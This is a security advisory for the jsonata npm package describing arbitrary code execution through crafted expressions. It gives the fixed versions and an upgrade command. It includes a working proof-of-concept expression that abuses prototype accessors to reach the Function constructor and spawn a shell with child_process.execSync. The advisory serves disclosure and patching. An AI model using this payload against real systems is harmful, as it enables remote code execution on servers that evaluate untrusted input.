JSONata: Arbitrary Code Execution via crafted JSONata expressions
Quick fix
GHSA-8gq3-vp5j-2grp — jsonata: upgrade to the fixed version with the command below.
npm install jsonata@1.8.8 Details
## Impact
Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.
## PoC
```js import jsonata from "jsonata";
const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `);
await expression.evaluate({}); ```
